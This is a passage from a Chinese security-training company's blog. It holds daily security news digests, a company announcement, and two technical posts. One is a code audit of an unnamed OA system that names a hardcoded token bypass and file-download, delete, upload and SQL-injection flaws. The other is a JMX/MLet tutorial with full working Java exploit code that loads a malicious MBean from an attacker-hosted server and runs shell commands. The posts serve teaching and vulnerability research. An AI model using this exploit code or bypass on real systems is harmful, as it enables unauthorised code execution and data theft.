网络安全日报 2024年07月24日
1、黑客组织滥用Google Cloud进行网络钓鱼 https://thehackernews.com/2024/07/pineapple-and-fluxroot-hacker-groups.html 今日研究人员发现两个黑客组织PINEAPPLE和FLUXROOT滥用Google Cloud服务进行凭证网络钓鱼攻击。FLUXROOT,一个以拉丁美洲为基地的攻击者,利用Google Cloud无服务器项目策划网络钓鱼活动,意图收集与在线支付平台Mercado Pago相关的登录信息。PINEAPPLE组织则利用Google Cloud传播Astaroth(又名Guildma)窃取恶意软件,主要针对巴西用户。他们通过创建受感染的Google 2、SocGholish利用BOINC平台进行持久性攻击 https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software 究人员揭露了一种名为SocGholish的恶意软件,该软件通过伪装成浏览器更新,利用BOINC(伯克利开放基础设施网络计算)项目进行隐蔽网络攻击。BOINC原本是一个由加州大学维护的志愿计算平台,旨在利用家庭计算机进行大规模分布式计算。攻击者通过控制域连接受感染主机,收集数据并推送命令。目前,已有超过一万个客户端被连接到恶意服务器,存在被进一步利用的风险。项目维护人员正在积极应对,寻找解决方案。 3、Ubuntu修复Azure云系统内核漏洞 https://tuxcare.com/blog/several-linux-kernel-azure-vulnerabilities-fixed-in-ubuntu 近日发布的安全更新针对Ubuntu 16.04 ESM和Ubuntu 18.04 ESM中的Linux内核漏洞进行了修复。这些漏洞主要影响Microsoft Azure云系统,攻击者可能利用它们导致系统崩溃、信息泄露或执行恶意代码。修复的漏洞包括但不限于CVE-2021-33631、CVE-2023-6270和CVE-2024-23307,严重性评分均较高。 4、Telegram安卓版修补零日漏洞EvilVideo https://www.bleepingcomputer.com/news/security/telegram-zero-day-allowed-sending-malicious-android-apks-as-videos/ 研究人员揭露了一个针对Telegram Android应用的安全漏洞“EvilVideo”。该漏洞允许攻击者通过伪装成视频文件的方式发送恶意Android APK。据称,该漏洞首次由一个名为“Ancryno”的黑客在6月6日的论坛上出售。研究人员在Telegram的一个公共频道上观察到了这个漏洞的演示,并确认了它在Telegram v10.14.4及更早版本中的存在 5、FrostyGoop ICS 恶意软件针对乌克兰关键基础设施 https://securityaffairs.com/166087/malware/frostygoop-ics-malware-modbus.html 2024 年 4 月,Dragos 研究人员发现了一种名为 FrostyGoop 的新 ICS 恶意软件,该恶意软件使用 Modbus 协议与工业控制系统交互。FrostyGoop 是发现的第九种 ICS 恶意软件,被国家行为者用于野外攻击。专家报告称,FrostyGoop 被用于 2024 年 1 月对乌克兰利沃夫一家供暖公司的攻击。与俄罗斯有关的威胁行为者利用了 Mikrotik 路由器的一个漏洞,导致 600 栋建筑近两天没有供暖。 6、Google 将在 Chrome 中保留第三方 Cookie https://www.securityweek.com/google-will-keep-third-party-cookies-in-chrome/ Google 不再计划在 Chrome 中弃用第三方 Cookie,并且正在研究更新的方法。 7、攻击者正滥用邮件网关URL保护服务来隐藏网络钓鱼链接 https://www.freebuf.com/news/406740.html 据网络安全公司Barracuda近期的一项研究报告,一些攻击者正滥用电子邮件安全服务隐藏恶意链接并传播钓鱼邮件,到目前为止这些攻击已针对至少数百家公司。 8、WPS:不存在文档被用作 AI 训练的情况,未与豆包合作 有网友在社交平台发文称“WPS 改版了用我们的文章喂给 AI 了”“WPS 疑似把我的审签内容喂给抖音豆包 AI”。对此 WPS 进行了回应,所有用户的文档不会被用于任何 AI 训练目的,也不会在未经用户同意的情况下用于任何场景。WPS AI 与豆包在 AI 层面目前并未开展任何形式的合作,不存在文档被用作 AI 训练的情况。 9、特朗普集会枪手手机被以色列公司的软件在 40 分钟内破解 https://9to5mac.com/2024/07/18/trump-shooter-android-phone-cellebrite/ 枪手使用的三星的一款较新型的 Android 手机,FBI 首先尝试利用以色列数据情报公司 Cellebrite 的软件去绕过或识别手机密码,但未能成功。FBI 随后直接联络 Cellebrite 寻求帮助。Cellebrite 之后提供了该公司仍然在开发中的新软件。FBI 利用新的软件在 40 分钟内解锁了手机。 10、尼日利亚指控Meta窃取个人数据,对其处以 2.2 亿美元罚款 https://www.ithome.com/0/783/210.htm 当地时间 7 月 20 日,尼日利亚政府宣布对 Meta 处以 2.2 亿美元的罚款,称其调查发现 Facebook 和 WhatsApp 上多次违反该国的数据保护和消费者权益法。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
某个OA系统的代码审计
2023年HVV中爆出来的洞了,但是有一些漏洞点修复了,刚好地市级的攻防演练中遇到了一个,想着把可能出现问题的点全部审计一下,顺便熟悉一下.net代码审计。ps:感兴趣的师傅们可以自行根据poc搜索源码。 0x1 反编译 好吧,当我没说,下载dnspy反编译即可,但是首先要找到web逻辑代码才能开始审计,因为这套oa是使用了mvc开发模式,简单介绍一下mvc,其实就是model,controller,view,其中的view是视图也就是html等展示给用户看的东西,model是模型也就是控制数据库的代码。controller是控制器负责执行代码的逻辑,也就是我们需要审计的地方了。 然后找到controller就是web的主要逻辑了。 0x2 身份校验绕过 首先可以随便点入一个controller,发现filesController继承自TopVisionApi。 然后我们发现IsAuthorityCheck()这个函数用于判断权限。 首先看到第一行代码getByValue这个函数,其实Request.Properties["MS_HttpContext"]).Request[value]就是获取http请求中的某个参数,而value就是调用传过来的参数,在这里是token,那么这段代码就是获取http中的token参数。 然后if判断了token是不是空值然后再判断token参数的值是不是等于"zxh",如果登录则直接返回一个UserInfo对象。 然后回到filesController的身份判断,发现只判断了IsAuthorityCheck返回是否为null,所以只需要让token参数是zxh的时候,那么就可以绕过身份校验了。 0x3 任意文件下载 还是 filesController 这个控制器 DownloadRptFile方法。这时我们已经绕过了身份认证,所以只需要看之后代码即可。requestFileName就是我们传递的http参数, 然后跟进代码。并未发现任何过滤../的行为,直接传递给getBinaryFile函数 getBinaryFile函数如下。 结果证明: (读取文件内容会以base64返回) 0x4 信息泄露 发现GetCurrentUserList方法查询了所有用户信息。并且返回给前台。 <UserInfo>是c#中的泛型,这里是用来查询数据库的。可以看到遍历了dicUserList这个数组。这个数组就是初始化的用户信息数组了。 直接访问: 0x5 任意文件删除 发现DeleteFile2方法是一个删除文件方法。这里也没有发现过滤../以及过滤删除文件的后缀名。 虽然是有限制了文件路径,但是全然没有过滤../,而且filename参数也是完全可控的。所以这里其实是存在任意文件删除漏洞的。 ps: 这里就不放验证截图了,感兴趣的师傅们可以自行本地验证。 0x6 任意文件上传 UploadFile2方法中获取了各种参数,然后传入UploadFile2 跟进该方法。pathType就是限制文件上传到哪个文件夹的。 pathType详解: fs参数是我们传递的byte数组也就是文件的内容。 startPoint等于0就好这样才能创建一个新的文件,datasize则是数组的长度。 漏洞验证: 0x7 SQL注入 InventoryController的GetProductInv方法,直接从参数获取boxNoName未经过过滤直接通过string.Format拼接至sql语句中,导致了sql注入。 验证:直接sqlmap即可
网络安全日报 2024年07月23日
1、研究人员发现针对ESXi环境的Play勒索软件新变种 https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html 安全研究人员发现Play勒索软件组织已开发出针对ESXi环境的Linux变种,这表明该组织正在扩大其攻击范围。该变种在执行前会验证是否在ESXi环境中运行,如果检测到不在该环境中,它将终止并删除自身。此外,该勒索软件组织似乎正在使用ProlificPuma提供的服务和基础设施,这可能帮助他们增强绕过安全协议的能力。 2、俄罗斯多个组织遭双重恶意软件攻击 https://securelist.ru/phantomdl-darkwatchman-rat-targeted-attacks/109919/ 研究人员监测到两波针对俄罗斯组织的定向电子邮件攻击,主要影响制造业、政府、金融和能源行业的员工。攻击者利用PhantomDL和DarkWatchman RAT两种恶意软件,通过精心构造的电子邮件和RAR压缩包进行传播。PhantomDL后门使用Go语言编写,具备高度混淆和自定义UPX包装器,而DarkWatchman RAT则提供攻击者对受感染系统的远程访问。攻击者通过模仿合法域名和使用DGA算法生成C2域名,以逃避检测。此次攻击可能与名为Hea 3、OilAlpha恶意软件攻击也门人道救援组织网站 https://www.recordedfuture.com/research/oilalpha-spyware-used-to-target-humanitarian-aid-groups 最新研究揭露了OilAlpha恶意软件对也门人道主义援助组织的网站进行持续攻击。据分析这个亲胡塞武装的组织通过恶意Android应用程序,针对CARE International和挪威难民委员会等知名组织,企图窃取凭证和收集情报,进而可能影响援助分配。为了防范此类威胁,研究人员建议组织加强信息安全政策,提高社会工程和反网络钓鱼意识,同时使用强密码和多因素身份验证。 4、研究人员提示警惕新型僵尸网络CatDDoS和Zergeca https://explore.avertium.com/resource/botnets-to-watch-catddos-and-zergeca 安全研究人员警告称,新型僵尸网络CatDDoS和Zergeca对全球网络安全构成威胁。CatDDoS基于Mirai源代码,利用ChaCha20算法加密关键信息,并针对全球多个行业发动DDoS攻击。Zergeca则是一种基于Golang的僵尸网络,支持六种独特的攻击方法,并具备扫描、代理、持久性、自升级等功能。这两种僵尸网络展示了高级能力,从执行强大的DDoS攻击到通过复杂的加密和逃避技术躲避检测,积极针对全球网络发动攻击。 5、研究人员发现恶意软件通过假冒GTA VI测试版传播 https://hackread.com/grand-theft-auto-fake-gta-vi-beta-download-malware/ 研究人员发现一些Facebook广告正在推广假冒的GTA VI测试版下载,这些广告实际上是恶意软件。这些广告在7月16日至18日期间通过赞助广告发布,声称前100名用户可以免费访问GTA测试版。然而,这些广告引导用户下载的文件实际上是恶意软件,与FakeBat加载器恶意软件有许多相似之处。研究人员提醒玩家不要从社交媒体广告或帖子中下载游戏文件,尤其是备受期待的新发布。 6、多国联合启动打击加密货币诈骗行动Operation Spincaster https://www.chainalysis.com/blog/operation-spincaster/ 近日,安全团队宣布了一项名为Operation Spincaster的新计划,旨在全球范围内打击加密货币诈骗。该计划利用区块链技术的透明度,主动识别被盗钱包,联合六个国家的公共部门机构和17个加密货币交易所,共同阻止和预防诈骗。安全团队提供了Crypto Investigations解决方案的培训,帮助参与者识别和追踪被盗资金,成功分发了7000多条线索,涉及1.62亿美元的损失。此次行动不仅展示了公私合作的力量,也证明了区块链分析在预防和打击诈骗中的有效性。 7、LockBit 勒索软件集团两名成员在美国法庭认罪 https://www.securityweek.com/two-members-of-lockbit-ransomware-group-plead-guilty-in-us-court/ 一名俄罗斯公民和一名加拿大与俄罗斯双重国籍者在美国承认参与 LockBit 勒索软件攻击。 8、微软称850万台Windows设备受到CrowdStrike事件影响 https://www.securityweek.com/microsoft-says-8-5-million-windows-devices-impacted-by-crowdstrike-incident-publishes-recovery-tool/ 微软表示,大约有 850 万台 Windows 设备受到 CrowdStrike 错误软件更新的影响,并发布了一款工具来帮助管理员完成恢复过程。 9、BlackSuit勒索软件伪装成360杀毒软件组件规避检测 https://www.freebuf.com/news/406645.html 在最近发生的一系列中断主要业务的事件中,KADOKAWA 公司经历了延伸到多个网站的服务中断。最初看似技术故障的事件很快升级为由臭名昭著的 BlackSuit 勒索软件组织策划的全面勒索软件攻击。Deep Instinct 威胁实验室的深入分析显示,BlackSuit 的战术和技术发生了巨大演变。该勒索软件现在采用的是先进的混淆方法,包括将其有效载荷伪装成奇虎 360 杀毒软件的合法组件。与早期版本相比,最新的 BlackSuit 样本的检测率要低得多,这表明威胁行为者在刻意规避安全措施。 10、国家漏洞库CNNVD发布关于Oracle多个安全漏洞的通报 https://www.secrss.com/articles/68261 近日,Oracle官方发布了多个安全漏洞的公告,其中Oracle产品本身漏洞65个,影响到Oracle产品的其他厂商漏洞170个。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月22日
1、CrowdStrike更新引发大规模Windows用户蓝屏死机 https://cybersecuritynews.com/crowdstrike-update-bsod-loop/ CrowdStrike Falcon Sensor的更新导致全球范围内的Windows用户遭遇了严重的蓝屏死机(BSOD)循环问题。该问题主要影响安装了CrowdStrike端点安全软件的Windows 10和11系统。用户遭遇了反复出现的BSOD,错误信息提示为“DRIVER_OVERRAN_STACK_BUFFER”,导致系统无法正常启动。CrowdStrike已经确认了这一问题,并表示其工程团队正在紧急处理中。目前,企业客户受影响尤为严重,部分组织报告称数千台设备受到 2、TAG-100使用开源工具进行全球间谍活动 https://www.recordedfuture.com/research/tag-100-uses-open-source-tools-in-suspected-global-espionage-campaign 安全研究人员近期揭露了TAG-100组织通过使用开源工具进行的全球间谍活动。该组织不仅攻击了亚太地区的两个主要政府间机构,还影响了全球多个外交、贸易和私营部门实体。TAG-100利用Go后门Pantegana和SparkRAT等工具,针对包括CitrixNetScaler、F5BIG-IP在内的多种面向互联网的产品进行攻击。这一发现突显了使用开源工具进行网络间谍活动的增长趋势 3、黑客更新BeaverTail恶意软件攻击MacOS用户 https://thehackernews.com/2024/07/north-korean-hackers-update-beavertail.html 网络安全研究人员最近发现,与朝鲜有关的黑客组织更新了名为BeaverTail的恶意软件,目标是MacOS用户。这款恶意软件通过模仿合法视频通话服务MiroTalk的磁盘映像文件传播,窃取加密货币钱包、浏览器数据等敏感信息,并下载执行其他Python脚本。研究人员指出,朝鲜黑客利用社会工程学手段,通过假冒招聘会议等方式接触潜在受害者,进一步增强了攻击的隐蔽性和成功率。 4、RDGA通过注册数百万域名改变DNS威胁形势 https://blogs.infoblox.com/threat-intelligence/rdgas-the-next-chapter-in-domain-generation-algorithms/ 最新的安全报告揭示了一种新兴技术——注册域名生成算法(RDGA),它允许威胁行为者通过注册数百万个新域名来秘密改变DNS威胁形势。RDGA与传统基于恶意软件的DGA不同,威胁行为体使用算法一次性注册多个域名,用于恶意软件、网络钓鱼、垃圾邮件等多种犯罪活动。报告还特别指出了与XLoader恶意软件有关的Revolver Rabbit RDGA威胁行为体,以及Hancitor恶意软件多年来如何 5、MirrorFace组织利用NOOPDOOR攻击日本机构 https://blogs.jpcert.or.jp/en/2024/07/mirrorface-attack-against-japanese-organisations.html 自2022年以来,安全研究人员监测到MirrorFace组织的网络攻击活动,主要针对媒体、政治组织、智库和大学,2023年起转向制造商和研究机构。NOOPDOOR恶意软件通过注入合法应用程序执行,具有多种执行流程和混淆技术。攻击者使用多种技术访问网络凭据,进行横向移动,并利用Windows命令进行侦察。此外,攻击者使用工具如GOST进行代理通信,采用多种防御规避技术以隐藏其活动。 6、印度WazirX交易所遭黑客攻击损失2.3亿美元 https://thehackernews.com/2024/07/wazirx-cryptocurrency-exchange-loses.html 印度加密货币交易所WazirX近日遭遇重大安全漏洞,导致价值2.3亿美元的加密货币资产被盗。攻击源于其多重签名钱包的签名信息被篡改,钱包控制权被转移给攻击者。安全研究人员指出,此次攻击具有朝鲜威胁行为者的特征,攻击者利用去中心化服务将资产兑换为以太币,目前,WazirX团队正在全力追回被盗资金。 7、SolarWinds ARM软件修复11个安全漏洞 https://www.solarwinds.com/trust-center/security-advisories SolarWinds公司近日对其访问权限管理器(ARM)软件进行了紧急更新,修复了11个严重安全漏洞。这些漏洞的严重程度被评为“严重”和“高”,其中7个漏洞的CVSS评分高达9.6,其余4个评分为7.6。这些安全缺陷可能被攻击者利用来访问敏感信息或执行任意代码。SolarWinds ARM软件的目录遍历、信息泄露以及远程代码执行漏洞是此次更新的重点。 8、攻击者假冒CrowdStrike更新漏洞传播Remcos RAT https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/ 网络攻击者针对CrowdStrike Falcon传感器更新问题进行的攻击活动。攻击者利用该问题,制作了一个名为crowdstrike-hotfix.zip的恶意ZIP文件,试图诱骗拉丁美洲的CrowdStrike客户下载执行,从而植入RemCos恶意软件。该攻击活动具有针对性,使用西班牙语文件名和说明,且在执行过程中通过DLL搜索顺序劫持的方式加载HijackLoader,进一步逃避检测。 9、HTTP新型漏洞影响数千个Google Cloud托管网站 https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/ 安全研究人员发现了一种新型的HTTP请求走私漏洞(TE.0),该漏洞影响数千个Google Cloud托管网站。该漏洞利用了GCP负载均衡器的缺陷,允许攻击者绕过身份验证并可能接管用户账户。研究人员通过漏洞赏金计划发现并报告了此问题,Google已确认并修复了该漏洞,向研究人员支付了8500美元的赏金。 10、Azure配置错误引发Microsoft 365服务中断 https://www.bleepingcomputer.com/news/microsoft/major-microsoft-365-outage-caused-by-azure-configuration-change/ 近日,微软公司遭遇了一次严重的服务中断,影响了美国中部地区的Microsoft 365客户。此次中断由Azure配置更改引发,导致包括Microsoft Defender、Intune、Teams、PowerBI、OneDrive for Business、SharePoint Online等多个服务无法访问。微软迅速采取措施,将流量重新路由至替代系统以缓解影响。尽管大 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年07月19日
1、ScatteredSpider新增RansomHub和Qilin勒索软件 https://thehackernews.com/2024/07/scattered-spider-adopts-ransomhub-and.html ScatteredSpider是一个知名的网络犯罪组织,以其复杂的社会工程攻击手段而著称。最近,该组织在其攻击工具库中增加了两种新的勒索软件:RansomHub和Qilin。据微软公司透露,RansomHub是一种勒索软件即服务(RaaS)的形式,自今年2月首次出现以来,已经被越来越多的威胁行为者所采用。此外,ScatteredSpider的活动与其他一些被网络安全社区追踪的活动集群存在重叠,例如0ktapus、OctoTempest和UN 2、Life360数据泄露影响44万用户 https://hackread.com/family-location-tracker-app-life360-breach-data-leak/ 家庭位置追踪应用Life360遭遇重大数据泄露事件,443000名用户的个人信息被泄露。此次泄露包括用户的全名、电话号码、电子邮件地址等敏感数据。黑客利用API滥用手段,通过应用程序登录端点的漏洞窃取了这些信息。尽管密码、社会保险号和财务详细信息未被泄露,但用户的电子邮件和电话号码已被公开,增加了钓鱼攻击和短信钓鱼的风险。Life360已采取措施修复API漏洞,但用户仍需提高警惕,更改密码并启用多因素身份验证以增强账户安全。 3、罗马尼亚遭受地缘政治DDoS攻击 https://www.netscout.com/blog/asert/hacktivists-target-romania-latest-surge-geopolitical-ddos 研究人员发现罗马尼亚成为地缘政治DDoS攻击的最新受害者。攻击始于6月2日,罗马尼亚可能向乌克兰转移爱国者导弹之际,单日攻击次数激增至352次。6月5日,攻击总数达到峰值,单日攻击达1016次。多个黑客组织如CyberDragon和俄罗斯网络军声称对攻击负责,主要目标为政府网站和银行。 4、研究人员分析新型Shellcode加载器Jellyfish https://cyble.com/blog/investigating-the-new-jellyfish-loader/ 研究人员最近识别并分析了一种名为JellyfishLoader的新型Shellcode加载器。该加载器通过异步任务方法构建器执行代码,并利用Fody和Costura将依赖项嵌入可执行文件中。JellyfishLoader在首次感染时会发送系统信息,并在与命令和控制(C&C)服务器通信前进行SSL证书验证。该加载器还包含一个专门用于执行shellcode的函数,表明其具备处理和执行从远程C&C服务器接收的shellcode的能力。尽管目前尚无法明确确认该恶意软件与特定威 5、ChatGPT Enterprise 推出合规性 API 和集成 https://www.securityweek.com/openai-rolls-out-compliance-api-and-integrations-for-chatgpt-enterprise/ 这些工具对于帮助商业客户满足 FINRA、HIPAA 和 GDPR 等法规要求至关重要。 6、端口影子攻击允许 VPN 流量拦截和重定向 https://www.securityweek.com/port-shadow-attack-allows-vpn-traffic-interception-redirection/ 一组研究人员警告称,VPN 受到一个漏洞的影响,该漏洞可被利用来发动中间人 (MitM) 攻击,从而使威胁行为者能够拦截和重定向流量。这项研究由亚利桑那州立大学、新墨西哥大学、密歇根大学和多伦多大学公民实验室的代表进行。 该攻击技术名为Port Shadow,追踪编号为 CVE-2021-3773,基于 Benjamin Mixon-Baca 和 Jedidiah R. Crandall 于 2021 年首次 7、FIN7 黑客组织在暗网上大肆推广反EDR系统工具 https://securityaffairs.com/165863/cyber-crime/fin7-advertising-security-evasion.html 网络安全公司 SentinelOne 警告称,网络犯罪集团 FIN7 正在多个地下论坛上宣传一种安全规避工具。 8、SAP AI Core中的 SAPwned 漏洞可能会暴露客户数据 https://securityaffairs.com/165888/hacking/sap-ai-core-sapwned.html Wiz 的网络安全研究人员在SAP AI Core云平台中发现了五个安全漏洞,统称为 SAPwned 。攻击者可以利用这些漏洞获取访问令牌和客户数据。 9、Cisco SSM On-Prem曝严重漏洞,黑客可修改管理员密码 https://thehackernews.com/2024/07/alert-hotpage-adware-disguised-as-ad.html 近日,思科公司披露了其智能软件管理器本地版(SSM On-Prem)中的一个关键漏洞,该漏洞允许未经身份验证的远程攻击者更改任何用户的密码,包括管理员用户的密码。这个漏洞被追踪为 CVE-2024-20419,其严重程度评分为 10 分。 10、CDK Global向勒索软件团伙支付超1.8亿元赎金 https://www.secrss.com/articles/68159 因CDK公司遭遇勒索软件攻击,导致全美上万家汽车经销商业务系统瘫痪十余天;据知情人士透露,CDK通过专业勒索响应公司支付赎金后,约一周时间恢复系统上线;多位知情人士透露,CDK似乎向黑客支付了2500万美元(约合人民币1.81亿元)赎金。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
行业认可 | 蚁景科技入选《嘶吼2024网络安全产业图谱》
7月16日,嘶吼安全产业研究院正式发布《嘶吼2024网络安全产业图谱》。该图谱全面反映了网络安全行业的市场规模,揭示了产业化重点发展的方向,并展示了各细分领域在整个网络安全行业中的市场占比情况,深入分析了行业热门细分赛道的市场潜力和发展趋势。 蚁景科技作为可靠的网络安全人才培养服务提供商,入选了《嘶吼2024网络安全产业图谱》“安全培训”分类下的【安全意识培训】、【技术人才培训】等细分板块。 本次入选《嘶吼2024网络安全产业图谱》是网安行业权威研究机构对蚁景科技企业实力和品牌影响力的高度认可。 未来,蚁景科技将继续坚持优化人才培养、技术创新和产业发展的良性生态,致力于培养更多的网络安全专业优秀人才,推动网安技术教学的创新和应用,为网安人才实战能力的全面提升贡献力量。 关于蚁景科技: 湖南蚁景科技有限公司,作为专业的“网络安全人才培养服务提供商”,致力于配合国家网络安全人才培养战略,精准对接行业人才市场的需求。公司秉承提升网络安全实战能力为核心的培养目标,紧密结合用人单位在网络安全岗位上的技能要求,提供前沿、系统且专业的网络安全实战技能培训。同时,也针对政企单位、科研院所等行业客户,量身定制网络安全培训方案,以满足其特定的培训需求。 此外,蚁景科技紧密结合高校网络安全人才培养体系,基于对“互联网+教育”的精准把握,依托自主研发的网络安全人才实训平台——蚁景网安实验室,高效构建多样化的网络安全实验场景,全面满足高校教师的在线实验教学需求,同时也为网络安全爱好者提供了优质的在线实操学习环境。
JMX 反序列化漏洞
前言 前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。 JMX 基础 JMX 前置知识 JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。 可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。 JMX 的结构一共分为三层: 1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。 standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。 dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。 JMX 基础代码实践 以下代码实现简单的 JMX demo,文件结构 ├── HelloWorld.java   ├── HelloWorldMBean.java   └── jmxDemo.java HelloWorldMBean.java package org.example; public interface HelloWorldMBean {    public void sayhello();    public int add(int x, int y);    public String getName(); } HelloWorld.java package org.example; public class HelloWorld implements HelloWorldMBean{    private String name = "Drunkbaby";    @Override    public void sayhello() {        System.out.println("hello world" + this.name);   }    @Override    public int add(int x, int y) {        return x + y;   }    @Override    public String getName() {        return this.name;   } } jmxDemo.java package org.example; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class jmxDemo {    public static void main(String[] args) throws Exception{        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();        ObjectName mbsName = new ObjectName("test:type=HelloWorld");        HelloWorld mbean = new HelloWorld();        mBeanServer.registerMBean(mbean, mbsName);        // 创建一个 RMI Registry        Registry registry = LocateRegistry.createRegistry(1099);        // 构造 JMXServiceURL,绑定创建的 RMI        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");        // 构造JMXConnectorServer,关联 mbserver        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);        jmxConnectorServer.start();        System.out.println("JMXConnectorServer is ready");        System.out.println("press any key to exit.");        System.in.read();   } } 其中 Probe Level:创建了 HelloWorldMBean 实例 mbean Agent Level:创建了 MBeanServer 实例 mbs Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs JMX 安全问题 JMX 的安全问题主要发生在以下三处 1、jmx2、mbean3、rmi 其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。 Mlet Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。 攻击过程: 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件 JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取 攻击者最终调用来自恶意 MBean 的方法 下面我们来编写一个漏洞实例。 Evil MBean 文件结构 ├── Evil.java └── EvilMBean.java EvilMBean.java package com.drunkbaby.mlet;     public interface EvilMBean {      public String runCommand(String cmd);   } Evil.java package com.drunkbaby.mlet;     import java.io.BufferedReader;   import java.io.InputStreamReader;     public class Evil implements EvilMBean   {      public String runCommand(String cmd)     {          try {              Runtime rt = Runtime.getRuntime();              Process proc = rt.exec(cmd);              BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));              BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));              String stdout_err_data = "";              String s;              while ((s = stdInput.readLine()) != null)             {                  stdout_err_data += s+"\n";             }              while ((s = stdError.readLine()) != null)             {                  stdout_err_data += s+"\n";             }              proc.waitFor();              return stdout_err_data;         }          catch (Exception e)         {              return e.toString();         }     }   } Mlet Server 将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html <html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html> 整体结构如图 Attack Code ExploitJMXByRemoteMBean.java package com.drunkbaby.mlet;     import javax.management.MBeanServerConnection;   import javax.management.ObjectInstance;   import javax.management.ObjectName;   import javax.management.remote.JMXConnector;   import javax.management.remote.JMXConnectorFactory;   import javax.management.remote.JMXServiceURL;   import java.net.MalformedURLException;   import java.util.HashSet;   import java.util.Iterator;     public class ExploitJMXByRemoteMBean {        public static void main(String[] args) {          try {   //           connectAndOwn(args[0], args[1], args[2]);              connectAndOwn("localhost","1099","open -a Calculator");         } catch (Exception e) {              e.printStackTrace();         }     }        static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {          try {              // step1. 通过rmi创建 jmx连接              JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");              System.out.println("URL: " + u + ", connecting");              JMXConnector c = JMXConnectorFactory.connect(u);              System.out.println("Connected: " + c.getConnectionId());              MBeanServerConnection m = c.getMBeanServerConnection();                // step2. 加载特殊MBean:javax.management.loading.MLet              ObjectInstance evil_bean = null;              ObjectInstance evil = null;              try {                  evil = m.createMBean("javax.management.loading.MLet", null);             } catch (javax.management.InstanceAlreadyExistsException e) {                  evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));             }              // step3:通过MLet加载远程恶意MBean              System.out.println("Loaded "+evil.getClassName());              Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]                             { "http://localhost:4141/evil.html"},                      new String[] { String.class.getName() } );                HashSet res_set = ((HashSet)res);              Iterator itr = res_set.iterator();              Object nextObject = itr.next();              if (nextObject instanceof Exception)             {                  throw ((Exception)nextObject);             }              evil_bean = ((ObjectInstance)nextObject);                // step4: 执行恶意MBean              System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());              System.out.println("Calling runCommand with: "+command);              Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });              System.out.println("Result: "+result);         } catch (Exception e)         {              e.printStackTrace();         }     }   } 很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。 JMX 反序列化漏洞 在实际场景中 JMX 